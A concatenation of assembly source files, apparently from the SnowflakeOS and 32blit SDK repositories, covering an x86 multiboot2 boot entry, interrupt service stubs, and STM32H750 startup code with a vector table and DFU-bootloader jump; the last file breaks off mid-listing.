# Relevant multiboot2 documentation: # https://www.gnu.org/software/grub/manual/multiboot2/multiboot.html # Multiboot tags .set TAG_END, 0 .set TAG_FRAMEBUFFER, 5 # Multiboot flags .set TAG_REQUIRED, 0 .set TAG_OPTIONAL, 1 # Multiboot2 header constants .set MAGIC, 0xE85250D6 .set ARCH, 0 .set HEADER_LEN, (multiboot_end - multiboot_start) .set CHECKSUM, -(MAGIC + ARCH + HEADER_LEN) .set KERNEL_VIRTUAL_BASE, 0xC0000000 .set KERNEL_PAGE_NUMBER, (KERNEL_VIRTUAL_BASE >> 22) # Multiboot header .section .multiboot multiboot_start: # Magic .align 8 .long MAGIC .long ARCH .long HEADER_LEN .long CHECKSUM # Graphics tag .align 8 .short TAG_FRAMEBUFFER .short TAG_REQUIRED .long 20 .long 1024 .long 768 .long 32 # End tag .align 8 .short TAG_END .short TAG_REQUIRED .long 8 multiboot_end: # Reserve a stack for the initial thread. .section .bootstrap_stack, "aw", @nobits stack_bottom: .skip 16384 # 16 KiB stack_top: .section .data # Initial mapping: we identity map *a lot* of memory because GRUB seems to like # multiboot2 information really high for some reason. .global kernel_directory kernel_directory: .align 0x1000 .long 0x00000083 # 4 MiB pages .long 0x00400083 .long 0x00800083 .long 0x00C00083 .fill (KERNEL_PAGE_NUMBER - 4), 4, 0 .long 0x00000083 .fill (1024 - KERNEL_PAGE_NUMBER - 1), 4, 0 # The kernel entry point. .section .text .global _start .type _start, @function _start: mov $(kernel_directory - KERNEL_VIRTUAL_BASE), %ecx mov %ecx, %cr3 # Enable PSE for 4 MiB pages mov %cr4, %ecx or $0x00000010, %ecx mov %ecx, %cr4 mov %cr0, %ecx or $0x80000000, %ecx mov %ecx, %cr0 lea _start_higher_half, %ecx jmp *%ecx _start_higher_half: # movl $0, boot_page_directory # invlpg 0 movl $stack_top, %esp mov $0, %ebp # stop stacktraces here # Transfer control to the main kernel. # Pass the multiboot header adress and magic number, # See https://www.gnu.org/software/grub/manual/multiboot/html_node/Machine-state.html pushl %eax pushl %ebx cli # disable until we setup handlers call kernel_main add $12, %esp # cleanup the stack. useless here # Hang if kernel_main unexpectedly returns. cli .hang: hlt jmp .hang

29jm/SnowflakeOS

1,816

kernel/src/cpu/asm/isr.S

.section .text .align 4 # Only interrupts 8, 10, 11, 12, 13, 14 and 17 push an error code, so we # compensate by pushing 0 for other interrupts. # This allows reusing the same structure for all interrupts in kernel code. # Note: interrupts are disabled on call, see the flags in `idt.h` # Note: when called, the calling `eflags`, `cs` and `eip` are already on the stack .macro ISR_NOERR num .global isr\num isr\num: push $0 push $\num jmp isr_common_handler .endm .macro ISR_ERR num .global isr\num isr\num: push $\num jmp isr_common_handler .endm ISR_NOERR 0 ISR_NOERR 1 ISR_NOERR 2 ISR_NOERR 3 ISR_NOERR 4 ISR_NOERR 5 ISR_NOERR 6 ISR_NOERR 7 ISR_ERR 8 ISR_NOERR 9 ISR_ERR 10 ISR_ERR 11 ISR_ERR 12 ISR_ERR 13 ISR_ERR 14 ISR_NOERR 15 ISR_NOERR 16 ISR_ERR 17 ISR_NOERR 18 ISR_NOERR 19 ISR_NOERR 20 ISR_NOERR 21 ISR_NOERR 22 ISR_NOERR 23 ISR_NOERR 24 ISR_NOERR 25 ISR_NOERR 26 ISR_NOERR 27 ISR_NOERR 28 ISR_NOERR 29 ISR_ERR 30 ISR_NOERR 31 ISR_NOERR 48 # Syscall .extern isr_handler # void isr_handler(registers_t* regs) .type isr_handler, @function isr_common_handler: # Save and push registers and data segments pusha push %ds push %es push %fs push %gs # Load kernel data segments (cs is already loaded by the interrupt) # in case we were running in usermode mov $0x10, %ax mov %ax, %ds mov %ax, %es mov %ax, %fs mov %ax, %gs push %esp # `registers_t` pointer call isr_handler add $4, %esp # Restore registers and data segments pop %gs pop %fs pop %es pop %ds popa # Pop our error code and interrupt number add $8, %esp # Return to whatever was interrupted # This will load the previous code segment, `eip` and `eflags` iret

32blit/32blit-sdk

28,130

32blit-stm32/startup_stm32h750xx.s

/* ****************************************************************************** * @file startup_stm32h750xx.s * @author MCD Application Team * @brief STM32H750xx Devices vector table for GCC based toolchain. * This module performs: * - Set the initial SP * - Set the initial PC == Reset_Handler, * - Set the vector table entries with the exceptions ISR address * - Branches to main in the C library (which eventually * calls main()). * After Reset the Cortex-M processor is in Thread mode, * priority is Privileged, and the Stack is set to Main. ****************************************************************************** * @attention * * <h2><center>© Copyright (c) 2018 STMicroelectronics. * All rights reserved.</center></h2> * * This software component is licensed by ST under BSD 3-Clause license, * the "License"; You may not use this file except in compliance with the * License. You may obtain a copy of the License at: * opensource.org/licenses/BSD-3-Clause * ****************************************************************************** */ .syntax unified .cpu cortex-m7 .fpu softvfp .thumb .global g_pfnVectors .global Default_Handler // start address for the initialization values of the .data section. // defined in linker script .word _sidata // start address for the .data section. defined in linker script .word _sdata // end address for the .data section. defined in linker script .word _edata // start address for the .bss section. defined in linker script .word _sbss // end address for the .bss section. defined in linker script .word _ebss // stack used for SystemInit_ExtMemCtl; always internal RAM used /* * @brief This is the code that gets called when the processor first * starts execution following a reset event. Only the absolutely * necessary set is performed, after which the application * supplied main() routine is called. * @param None * @retval : None */ .section .text.Reset_Handler .weak Reset_Handler .type Reset_Handler, %function Reset_Handler: ldr sp, =_estack // set stack pointer // Copy the data segment initializers from flash to SRAM movs r1, #0 b LoopCopyDataInit CopyDataInit: ldr r3, =_sidata ldr r3, [r3, r1] str r3, [r0, r1] adds r1, r1, #4 LoopCopyDataInit: ldr r0, =_sdata ldr r3, =_edata adds r2, r0, r1 cmp r2, r3 bcc CopyDataInit // Copy ITCM movs r1, #0 b LoopCopyITCMInit CopyITCMInit: ldr r3, =itcm_data ldr r3, [r3, r1] str r3, [r0, r1] adds r1, r1, #4 LoopCopyITCMInit: ldr r0, =itcm_text_start ldr r3, =itcm_text_end adds r2, r0, r1 cmp r2, r3 bcc CopyITCMInit // check for magic number and branch to DFuSe ldr r0, =0x2001FFFC // Magic RAM location for sekret reboot key ldr r1, =0xCAFEBABE // Sekret reboot key value ldr r2, [r0, #0] cmp r1, r2 bne RegularBoot str r0, [r0, #0] // clear memory location to invalidate key (and prevent reboot loop into DFuSe) ldr r1, =0xe000ed00 // SCB ldr r0, =0x1ff09800 // ROM Base str r0, [r1, #8] // VTOR ldr sp, [r0, #0] // ROM Load stack pointer ldr r0, [r0, #4] // ROM program counter bx r0 // Branch and exchange to ROM base (start of DFU firmware) RegularBoot: // Call the clock system intitialization function. bl SystemInit ldr r2, =_sbss b LoopFillZerobss // Zero fill the bss segment. FillZerobss: movs r3, #0 str r3, [r2], #4 LoopFillZerobss: ldr r3, = _ebss cmp r2, r3 bcc FillZerobss // Call static constructors bl __libc_init_array // Call the application's entry point. bl main bx lr .size Reset_Handler, .-Reset_Handler /* * @brief This is the code that gets called when the processor receives an * unexpected interrupt. This simply enters an infinite loop, preserving * the system state for examination by a debugger. * @param None * @retval None */ .section .text.Default_Handler,"ax",%progbits Default_Handler: Infinite_Loop: b Infinite_Loop .size Default_Handler, .-Default_Handler /***************************************************************************** * * The minimal vector table for a Cortex M. Note that the proper constructs * must be placed on this to ensure that it ends up at physical address * 0x0000.0000. * *******************************************************************************/ .section .isr_vector,"a",%progbits .type g_pfnVectors, %object .size g_pfnVectors, .-g_pfnVectors g_pfnVectors: .word _estack .word Reset_Handler .word NMI_Handler .word HardFault_Handler .word MemManage_Handler .word BusFault_Handler .word UsageFault_Handler .word 0 .word 0 .word 0 .word 0 .word SVC_Handler .word DebugMon_Handler .word 0 .word PendSV_Handler .word SysTick_Handler // External Interrupts .word WWDG_IRQHandler // Window WatchDog .word PVD_AVD_IRQHandler // PVD/AVD through EXTI Line detection .word TAMP_STAMP_IRQHandler // Tamper and TimeStamps through the EXTI line .word RTC_WKUP_IRQHandler // RTC Wakeup through the EXTI line .word FLASH_IRQHandler // FLASH .word RCC_IRQHandler // RCC .word EXTI0_IRQHandler // EXTI Line0 .word EXTI1_IRQHandler // EXTI Line1 .word EXTI2_IRQHandler // EXTI Line2 .word EXTI3_IRQHandler // EXTI Line3 .word EXTI4_IRQHandler // EXTI Line4 .word DMA1_Stream0_IRQHandler // DMA1 Stream 0 .word DMA1_Stream1_IRQHandler // DMA1 Stream 1 .word DMA1_Stream2_IRQHandler // DMA1 Stream 2 .word DMA1_Stream3_IRQHandler // DMA1 Stream 3 .word DMA1_Stream4_IRQHandler // DMA1 Stream 4 .word DMA1_Stream5_IRQHandler // DMA1 Stream 5 .word DMA1_Stream6_IRQHandler // DMA1 Stream 6 .word ADC_IRQHandler // ADC1, ADC2 and ADC3s .word FDCAN1_IT0_IRQHandler // FDCAN1 interrupt line 0 .word FDCAN2_IT0_IRQHandler // FDCAN2 interrupt line 0 .word FDCAN1_IT1_IRQHandler // FDCAN1 interrupt line 1 .word FDCAN2_IT1_IRQHandler // FDCAN2 interrupt line 1 .word EXTI9_5_IRQHandler // External Line[9:5]s .word TIM1_BRK_IRQHandler // TIM1 Break interrupt .word TIM1_UP_IRQHandler // TIM1 Update interrupt .word TIM1_TRG_COM_IRQHandler // TIM1 Trigger and Commutation interrupt .word TIM1_CC_IRQHandler // TIM1 Capture Compare .word TIM2_IRQHandler // TIM2 .word TIM3_IRQHandler // TIM3 .word TIM4_IRQHandler // TIM4 .word I2C1_EV_IRQHandler // I2C1 Event .word I2C1_ER_IRQHandler // I2C1 Error .word I2C2_EV_IRQHandler // I2C2 Event .word I2C2_ER_IRQHandler // I2C2 Error .word SPI1_IRQHandler // SPI1 .word SPI2_IRQHandler // SPI2 .word USART1_IRQHandler // USART1 .word USART2_IRQHandler // USART2 .word USART3_IRQHandler // USART3 .word EXTI15_10_IRQHandler // External Line[15:10]s .word RTC_Alarm_IRQHandler // RTC Alarm (A and B) through EXTI Line .word 0 // Reserved .word TIM8_BRK_TIM12_IRQHandler // TIM8 Break and TIM12 .word TIM8_UP_TIM13_IRQHandler // TIM8 Update and TIM13 .word TIM8_TRG_COM_TIM14_IRQHandler // TIM8 Trigger and Commutation and TIM14 .word TIM8_CC_IRQHandler // TIM8 Capture Compare .word DMA1_Stream7_IRQHandler // DMA1 Stream7 .word FMC_IRQHandler // FMC .word SDMMC1_IRQHandler // SDMMC1 .word TIM5_IRQHandler // TIM5 .word SPI3_IRQHandler // SPI3 .word UART4_IRQHandler // UART4 .word UART5_IRQHandler // UART5 .word TIM6_DAC_IRQHandler // TIM6 and DAC1&2 underrun errors .word TIM7_IRQHandler // TIM7 .word DMA2_Stream0_IRQHandler // DMA2 Stream 0 .word DMA2_Stream1_IRQHandler // DMA2 Stream 1 .word DMA2_Stream2_IRQHandler // DMA2 Stream 2 .word DMA2_Stream3_IRQHandler // DMA2 Stream 3 .word DMA2_Stream4_IRQHandler // DMA2 Stream 4 .word ETH_IRQHandler // Ethernet .word ETH_WKUP_IRQHandler // Ethernet Wakeup through EXTI line .word FDCAN_CAL_IRQHandler // FDCAN calibration unit interrupt .word 0 // Reserved .word 0 // Reserved .word 0 // Reserved .word 0 // Reserved .word DMA2_Stream5_IRQHandler // DMA2 Stream 5 .word DMA2_Stream6_IRQHandler // DMA2 Stream 6 .word DMA2_Stream7_IRQHandler // DMA2 Stream 7 .word USART6_IRQHandler // USART6 .word I2C3_EV_IRQHandler // I2C3 event .word I2C3_ER_IRQHandler // I2C3 error .word OTG_HS_EP1_OUT_IRQHandler // USB OTG HS End Point 1 Out .word OTG_HS_EP1_IN_IRQHandler // USB OTG HS End Point 1 In .word OTG_HS_WKUP_IRQHandler // USB OTG HS Wakeup through EXTI .word OTG_HS_IRQHandler // USB OTG HS .word DCMI_IRQHandler // DCMI .word CRYP_IRQHandler // Crypto .word HASH_RNG_IRQHandler // Hash and Rng .word FPU_IRQHandler // FPU .word UART7_IRQHandler // UART7 .word UART8_IRQHandler // UART8 .word SPI4_IRQHandler // SPI4 .word SPI5_IRQHandler // SPI5 .word SPI6_IRQHandler // SPI6 .word SAI1_IRQHandler // SAI1 .word LTDC_IRQHandler // LTDC .word LTDC_ER_IRQHandler // LTDC error .word DMA2D_IRQHandler // DMA2D .word SAI2_IRQHandler // SAI2 .word QUADSPI_IRQHandler // QUADSPI .word LPTIM1_IRQHandler // LPTIM1 .word CEC_IRQHandler // HDMI_CEC .word I2C4_EV_IRQHandler // I2C4 Event .word I2C4_ER_IRQHandler // I2C4 Error .word SPDIF_RX_IRQHandler // SPDIF_RX .word OTG_FS_EP1_OUT_IRQHandler // USB OTG FS End Point 1 Out .word OTG_FS_EP1_IN_IRQHandler // USB OTG FS End Point 1 In .word OTG_FS_WKUP_IRQHandler // USB OTG FS Wakeup through EXTI .word OTG_FS_IRQHandler // USB OTG FS .word DMAMUX1_OVR_IRQHandler // DMAMUX1 Overrun interrupt .word HRTIM1_Master_IRQHandler // HRTIM Master Timer global Interrupt .word HRTIM1_TIMA_IRQHandler // HRTIM Timer A global Interrupt .word HRTIM1_TIMB_IRQHandler // HRTIM Timer B global Interrupt .word HRTIM1_TIMC_IRQHandler // HRTIM Timer C global Interrupt .word HRTIM1_TIMD_IRQHandler // HRTIM Timer D global Interrupt .word HRTIM1_TIME_IRQHandler // HRTIM Timer E global Interrupt .word HRTIM1_FLT_IRQHandler // HRTIM Fault global Interrupt .word DFSDM1_FLT0_IRQHandler // DFSDM Filter0 Interrupt .word DFSDM1_FLT1_IRQHandler // DFSDM Filter1 Interrupt .word DFSDM1_FLT2_IRQHandler // DFSDM Filter2 Interrupt .word DFSDM1_FLT3_IRQHandler // DFSDM Filter3 Interrupt .word SAI3_IRQHandler // SAI3 global Interrupt .word SWPMI1_IRQHandler // Serial Wire Interface 1 global interrupt .word TIM15_IRQHandler // TIM15 global Interrupt .word TIM16_IRQHandler // TIM16 global Interrupt .word TIM17_IRQHandler // TIM17 global Interrupt .word MDIOS_WKUP_IRQHandler // MDIOS Wakeup Interrupt .word MDIOS_IRQHandler // MDIOS global Interrupt .word JPEG_IRQHandler // JPEG global Interrupt .word MDMA_IRQHandler // MDMA global Interrupt .word 0 // Reserved .word SDMMC2_IRQHandler // SDMMC2 global Interrupt .word HSEM1_IRQHandler // HSEM1 global Interrupt .word 0 // Reserved .word ADC3_IRQHandler // ADC3 global Interrupt .word DMAMUX2_OVR_IRQHandler // DMAMUX Overrun interrupt .word BDMA_Channel0_IRQHandler // BDMA Channel 0 global Interrupt .word BDMA_Channel1_IRQHandler // BDMA Channel 1 global Interrupt .word BDMA_Channel2_IRQHandler // BDMA Channel 2 global Interrupt .word BDMA_Channel3_IRQHandler // BDMA Channel 3 global Interrupt .word BDMA_Channel4_IRQHandler // BDMA Channel 4 global Interrupt .word BDMA_Channel5_IRQHandler // BDMA Channel 5 global Interrupt .word BDMA_Channel6_IRQHandler // BDMA Channel 6 global Interrupt .word BDMA_Channel7_IRQHandler // BDMA Channel 7 global Interrupt .word COMP1_IRQHandler // COMP1 global Interrupt .word LPTIM2_IRQHandler // LP TIM2 global interrupt .word LPTIM3_IRQHandler // LP TIM3 global interrupt .word LPTIM4_IRQHandler // LP TIM4 global interrupt .word LPTIM5_IRQHandler // LP TIM5 global interrupt .word LPUART1_IRQHandler // LP UART1 interrupt .word 0 // Reserved .word CRS_IRQHandler // Clock Recovery Global Interrupt .word ECC_IRQHandler // ECC diagnostic Global Interrupt .word SAI4_IRQHandler // SAI4 global interrupt .word 0 // Reserved .word 0 // Reserved .word WAKEUP_PIN_IRQHandler // Interrupt for all 6 wake-up pins /****************************************************************************** * * Provide weak aliases for each Exception handler to the Default_Handler. * As they are weak aliases, any function with the same name will override * this definition. * *******************************************************************************/ .weak NMI_Handler .thumb_set NMI_Handler,Default_Handler .weak HardFault_Handler .thumb_set HardFault_Handler,Default_Handler .weak MemManage_Handler .thumb_set MemManage_Handler,Default_Handler .weak BusFault_Handler .thumb_set BusFault_Handler,Default_Handler .weak UsageFault_Handler .thumb_set UsageFault_Handler,Default_Handler .weak SVC_Handler .thumb_set SVC_Handler,Default_Handler .weak DebugMon_Handler .thumb_set DebugMon_Handler,Default_Handler .weak PendSV_Handler .thumb_set PendSV_Handler,Default_Handler .weak SysTick_Handler .thumb_set SysTick_Handler,Default_Handler .weak WWDG_IRQHandler .thumb_set WWDG_IRQHandler,Default_Handler .weak PVD_AVD_IRQHandler .thumb_set PVD_AVD_IRQHandler,Default_Handler .weak TAMP_STAMP_IRQHandler .thumb_set TAMP_STAMP_IRQHandler,Default_Handler .weak RTC_WKUP_IRQHandler .thumb_set RTC_WKUP_IRQHandler,Default_Handler .weak FLASH_IRQHandler .thumb_set FLASH_IRQHandler,Default_Handler .weak RCC_IRQHandler .thumb_set RCC_IRQHandler,Default_Handler .weak EXTI0_IRQHandler .thumb_set EXTI0_IRQHandler,Default_Handler .weak EXTI1_IRQHandler .thumb_set EXTI1_IRQHandler,Default_Handler .weak EXTI2_IRQHandler .thumb_set EXTI2_IRQHandler,Default_Handler .weak EXTI3_IRQHandler .thumb_set EXTI3_IRQHandler,Default_Handler .weak EXTI4_IRQHandler .thumb_set EXTI4_IRQHandler,Default_Handler .weak DMA1_Stream0_IRQHandler .thumb_set DMA1_Stream0_IRQHandler,Default_Handler .weak DMA1_Stream1_IRQHandler .thumb_set DMA1_Stream1_IRQHandler,Default_Handler .weak DMA1_Stream2_IRQHandler .thumb_set DMA1_Stream2_IRQHandler,Default_Handler .weak DMA1_Stream3_IRQHandler .thumb_set DMA1_Stream3_IRQHandler,Default_Handler .weak DMA1_Stream4_IRQHandler .thumb_set DMA1_Stream4_IRQHandler,Default_Handler .weak DMA1_Stream5_IRQHandler .thumb_set DMA1_Stream5_IRQHandler,Default_Handler .weak DMA1_Stream6_IRQHandler .thumb_set DMA1_Stream6_IRQHandler,Default_Handler .weak ADC_IRQHandler .thumb_set ADC_IRQHandler,Default_Handler .weak FDCAN1_IT0_IRQHandler .thumb_set FDCAN1_IT0_IRQHandler,Default_Handler .weak FDCAN2_IT0_IRQHandler .thumb_set FDCAN2_IT0_IRQHandler,Default_Handler .weak FDCAN1_IT1_IRQHandler .thumb_set FDCAN1_IT1_IRQHandler,Default_Handler .weak FDCAN2_IT1_IRQHandler .thumb_set FDCAN2_IT1_IRQHandler,Default_Handler .weak EXTI9_5_IRQHandler .thumb_set EXTI9_5_IRQHandler,Default_Handler .weak TIM1_BRK_IRQHandler .thumb_set TIM1_BRK_IRQHandler,Default_Handler .weak TIM1_UP_IRQHandler .thumb_set TIM1_UP_IRQHandler,Default_Handler .weak TIM1_TRG_COM_IRQHandler .thumb_set TIM1_TRG_COM_IRQHandler,Default_Handler .weak TIM1_CC_IRQHandler .thumb_set TIM1_CC_IRQHandler,Default_Handler .weak TIM2_IRQHandler .thumb_set TIM2_IRQHandler,Default_Handler .weak TIM3_IRQHandler .thumb_set TIM3_IRQHandler,Default_Handler .weak TIM4_IRQHandler .thumb_set TIM4_IRQHandler,Default_Handler .weak I2C1_EV_IRQHandler .thumb_set I2C1_EV_IRQHandler,Default_Handler .weak I2C1_ER_IRQHandler .thumb_set I2C1_ER_IRQHandler,Default_Handler .weak I2C2_EV_IRQHandler .thumb_set I2C2_EV_IRQHandler,Default_Handler .weak I2C2_ER_IRQHandler .thumb_set I2C2_ER_IRQHandler,Default_Handler .weak SPI1_IRQHandler .thumb_set SPI1_IRQHandler,Default_Handler .weak SPI2_IRQHandler .thumb_set SPI2_IRQHandler,Default_Handler .weak USART1_IRQHandler .thumb_set USART1_IRQHandler,Default_Handler .weak USART2_IRQHandler .thumb_set USART2_IRQHandler,Default_Handler .weak USART3_IRQHandler .thumb_set USART3_IRQHandler,Default_Handler .weak EXTI15_10_IRQHandler .thumb_set EXTI15_10_IRQHandler,Default_Handler .weak RTC_Alarm_IRQHandler .thumb_set RTC_Alarm_IRQHandler,Default_Handler .weak TIM8_BRK_TIM12_IRQHandler .thumb_set TIM8_BRK_TIM12_IRQHandler,Default_Handler .weak TIM8_UP_TIM13_IRQHandler .thumb_set TIM8_UP_TIM13_IRQHandler,Default_Handler .weak TIM8_TRG_COM_TIM14_IRQHandler .thumb_set TIM8_TRG_COM_TIM14_IRQHandler,Default_Handler .weak TIM8_CC_IRQHandler .thumb_set TIM8_CC_IRQHandler,Default_Handler .weak DMA1_Stream7_IRQHandler .thumb_set DMA1_Stream7_IRQHandler,Default_Handler .weak FMC_IRQHandler .thumb_set FMC_IRQHandler,Default_Handler .weak SDMMC1_IRQHandler .thumb_set SDMMC1_IRQHandler,Default_Handler .weak TIM5_IRQHandler .thumb_set TIM5_IRQHandler,Default_Handler .weak SPI3_IRQHandler .thumb_set SPI3_IRQHandler,Default_Handler .weak UART4_IRQHandler .thumb_set UART4_IRQHandler,Default_Handler .weak UART5_IRQHandler .thumb_set UART5_IRQHandler,Default_Handler .weak TIM6_DAC_IRQHandler .thumb_set TIM6_DAC_IRQHandler,Default_Handler .weak TIM7_IRQHandler .thumb_set TIM7_IRQHandler,Default_Handler .weak DMA2_Stream0_IRQHandler .thumb_set DMA2_Stream0_IRQHandler,Default_Handler .weak DMA2_Stream1_IRQHandler .thumb_set DMA2_Stream1_IRQHandler,Default_Handler .weak DMA2_Stream2_IRQHandler .thumb_set DMA2_Stream2_IRQHandler,Default_Handler .weak DMA2_Stream3_IRQHandler .thumb_set DMA2_Stream3_IRQHandler,Default_Handler .weak DMA2_Stream4_IRQHandler .thumb_set DMA2_Stream4_IRQHandler,Default_Handler .weak ETH_IRQHandler .thumb_set ETH_IRQHandler,Default_Handler .weak ETH_WKUP_IRQHandler .thumb_set ETH_WKUP_IRQHandler,Default_Handler .weak FDCAN_CAL_IRQHandler .thumb_set FDCAN_CAL_IRQHandler,Default_Handler .weak DMA2_Stream5_IRQHandler .thumb_set DMA2_Stream5_IRQHandler,Default_Handler .weak DMA2_Stream6_IRQHandler .thumb_set DMA2_Stream6_IRQHandler,Default_Handler .weak DMA2_Stream7_IRQHandler .thumb_set DMA2_Stream7_IRQHandler,Default_Handler .weak USART6_IRQHandler .thumb_set USART6_IRQHandler,Default_Handler .weak I2C3_EV_IRQHandler .thumb_set I2C3_EV_IRQHandler,Default_Handler .weak I2C3_ER_IRQHandler .thumb_set I2C3_ER_IRQHandler,Default_Handler .weak OTG_HS_EP1_OUT_IRQHandler .thumb_set OTG_HS_EP1_OUT_IRQHandler,Default_Handler .weak OTG_HS_EP1_IN_IRQHandler .thumb_set OTG_HS_EP1_IN_IRQHandler,Default_Handler .weak OTG_HS_WKUP_IRQHandler .thumb_set OTG_HS_WKUP_IRQHandler,Default_Handler .weak OTG_HS_IRQHandler .thumb_set OTG_HS_IRQHandler,Default_Handler .weak DCMI_IRQHandler .thumb_set DCMI_IRQHandler,Default_Handler .weak CRYP_IRQHandler .thumb_set CRYP_IRQHandler,Default_Handler .weak HASH_RNG_IRQHandler .thumb_set HASH_RNG_IRQHandler,Default_Handler .weak FPU_IRQHandler .thumb_set FPU_IRQHandler,Default_Handler .weak UART7_IRQHandler .thumb_set UART7_IRQHandler,Default_Handler .weak UART8_IRQHandler .thumb_set UART8_IRQHandler,Default_Handler .weak SPI4_IRQHandler .thumb_set SPI4_IRQHandler,Default_Handler .weak SPI5_IRQHandler .thumb_set SPI5_IRQHandler,Default_Handler .weak SPI6_IRQHandler .thumb_set SPI6_IRQHandler,Default_Handler .weak SAI1_IRQHandler .thumb_set SAI1_IRQHandler,Default_Handler .weak LTDC_IRQHandler .thumb_set LTDC_IRQHandler,Default_Handler .weak LTDC_ER_IRQHandler .thumb_set LTDC_ER_IRQHandler,Default_Handler .weak DMA2D_IRQHandler .thumb_set DMA2D_IRQHandler,Default_Handler .weak SAI2_IRQHandler .thumb_set SAI2_IRQHandler,Default_Handler .weak QUADSPI_IRQHandler .thumb_set QUADSPI_IRQHandler,Default_Handler .weak LPTIM1_IRQHandler .thumb_set LPTIM1_IRQHandler,Default_Handler .weak CEC_IRQHandler .thumb_set CEC_IRQHandler,Default_Handler .weak I2C4_EV_IRQHandler .thumb_set I2C4_EV_IRQHandler,Default_Handler .weak I2C4_ER_IRQHandler .thumb_set I2C4_ER_IRQHandler,Default_Handler .weak SPDIF_RX_IRQHandler .thumb_set SPDIF_RX_IRQHandler,Default_Handler .weak OTG_FS_EP1_OUT_IRQHandler .thumb_set OTG_FS_EP1_OUT_IRQHandler,Default_Handler .weak OTG_FS_EP1_IN_IRQHandler .thumb_set OTG_FS_EP1_IN_IRQHandler,Default_Handler .weak OTG_FS_WKUP_IRQHandler .thumb_set OTG_FS_WKUP_IRQHandler,Default_Handler .weak OTG_FS_IRQHandler .thumb_set OTG_FS_IRQHandler,Default_Handler .weak DMAMUX1_OVR_IRQHandler .thumb_set DMAMUX1_OVR_IRQHandler,Default_Handler .weak HRTIM1_Master_IRQHandler .thumb_set HRTIM1_Master_IRQHandler,Default_Handler .weak HRTIM1_TIMA_IRQHandler .thumb_set HRTIM1_TIMA_IRQHandler,Default_Handler .weak HRTIM1_TIMB_IRQHandler .thumb_set HRTIM1_TIMB_IRQHandler,Default_Handler .weak HRTIM1_TIMC_IRQHandler .thumb_set HRTIM1_TIMC_IRQHandler,Default_Handler .weak HRTIM1_TIMD_IRQHandler .thumb_set HRTIM1_TIMD_IRQHandler,Default_Handler .weak HRTIM1_TIME_IRQHandler .thumb_set HRTIM1_TIME_IRQHandler,Default_Handler .weak HRTIM1_FLT_IRQHandler .thumb_set HRTIM1_FLT_IRQHandler,Default_Handler .weak DFSDM1_FLT0_IRQHandler .thumb_set DFSDM1_FLT0_IRQHandler,Default_Handler .weak DFSDM1_FLT1_IRQHandler .thumb_set DFSDM1_FLT1_IRQHandler,Default_Handler .weak DFSDM1_FLT2_IRQHandler .thumb_set DFSDM1_FLT2_IRQHandler,Default_Handler .weak DFSDM1_FLT3_IRQHandler .thumb_set DFSDM1_FLT3_IRQHandler,Default_Handler .weak SAI3_IRQHandler .thumb_set SAI3_IRQHandler,Default_Handler .weak SWPMI1_IRQHandler .thumb_set SWPMI1_IRQHandler,Default_Handler .weak TIM15_IRQHandler .thumb_set TIM15_IRQHandler,Default_Handler .weak TIM16_IRQHandler .thumb_set TIM16_IRQHandler,Default_Handler .weak TIM17_IRQHandler .thumb_set TIM17_IRQHandler,Default_Handler .weak MDIOS_WKUP_IRQHandler .thumb_set MDIOS_WKUP_IRQHandler,Default_Handler .weak MDIOS_IRQHandler .thumb_set MDIOS_IRQHandler,Default_Handler .weak JPEG_IRQHandler .thumb_set JPEG_IRQHandler,Default_Handler .weak MDMA_IRQHandler .thumb_set MDMA_IRQHandler,Default_Handler .weak SDMMC2_IRQHandler .thumb_set SDMMC2_IRQHandler,Default_Handler .weak HSEM1_IRQHandler .thumb_set HSEM1_IRQHandler,Default_Handler .weak ADC3_IRQHandler .thumb_set ADC3_IRQHandler,Default_Handler .weak DMAMUX2_OVR_IRQHandler .thumb_set DMAMUX2_OVR_IRQHandler,Default_Handler .weak BDMA_Channel0_IRQHandler .thumb_set BDMA_Channel0_IRQHandler,Default_Handler .weak BDMA_Channel1_IRQHandler .thumb_set BDMA_Channel1_IRQHandler,Default_Handler .weak BDMA_Channel2_IRQHandler .thumb_set BDMA_Channel2_IRQHandler,Default_Handler .weak BDMA_Channel3_IRQHandler .thumb_set BDMA_Channel3_IRQHandler,Default_Handler .weak BDMA_Channel4_IRQHandler .thumb_set BDMA_Channel4_IRQHandler,Default_Handler .weak BDMA_Channel5_IRQHandler .thumb_set BDMA_Channel5_IRQHandler,Default_Handler .weak BDMA_Channel6_IRQHandler .thumb_set BDMA_Channel6_IRQHandler,Default_Handler .weak BDMA_Channel7_IRQHandler .thumb_set BDMA_Channel7_IRQHandler,Default_Handler .weak COMP1_IRQHandler .thumb_set COMP1_IRQHandler,Default_Handler .weak LPTIM2_IRQHandler .thumb_set LPTIM2_IRQHandler,Default_Handler .weak LPTIM3_IRQHandler .thumb_set LPTIM3_IRQHandler,Default_Handler .weak LPTIM4_IRQHandler .thumb_set LPTIM4_IRQHandler,Default_Handler .weak LPTIM5_IRQHandler .thumb_set LPTIM5_IRQHandler,Default_Handler .weak LPUART1_IRQHandler .thumb_set LPUART1_IRQHandler,Default_Handler .weak CRS_IRQHandler .thumb_set CRS_IRQHandler,Default_Handler .weak ECC_IRQHandler .thumb_set ECC_IRQHandler,Default_Handler .weak SAI4_IRQHandler .thumb_set SAI4_IRQHandler,Default_Handler .weak WAKEUP_PIN_IRQHandler .thumb_set WAKEUP_PIN_IRQHandler,Default_Handler /*********************** (C) COPYRIGHT STMicroelectronics *****END OF FILE****/

32blit/32blit-sdk

3,775

32blit-stm32/startup_user.S

/* ****************************************************************************** * @file startup_stm32h750xx.s * @author MCD Application Team * @brief STM32H750xx Devices vector table for GCC based toolchain. * This module performs: * - Set the initial SP * - Set the initial PC == do_init, * - Set the vector table entries with the exceptions ISR address * - Branches to main in the C library (which eventually * calls main()). * After Reset the Cortex-M processor is in Thread mode, * priority is Privileged, and the Stack is set to Main. ****************************************************************************** * @attention * * <h2><center>© Copyright (c) 2018 STMicroelectronics. * All rights reserved.</center></h2> * * This software component is licensed by ST under BSD 3-Clause license, * the "License"; You may not use this file except in compliance with the * License. You may obtain a copy of the License at: * opensource.org/licenses/BSD-3-Clause * ****************************************************************************** */ #include "engine/api_version.h" .syntax unified .cpu cortex-m7 .fpu softvfp .thumb .extern init .extern update .extern render .global g_pfnVectors // start address for the initialization values of the .data section. // defined in linker script .word _sidata // start address for the .data section. defined in linker script .word _sdata // end address for the .data section. defined in linker script .word _edata // start address for the .bss section. defined in linker script .word _sbss // end address for the .bss section. defined in linker script .word _ebss // stack used for SystemInit_ExtMemCtl; always internal RAM used .section .text.do_init .weak do_init .type do_init, %function .global Reset_Handler Reset_Handler: // avoid warning about this not existing do_init: push {r4, lr} mov r4, r0 // Copy the data segment initializers from flash to SRAM movs r1, 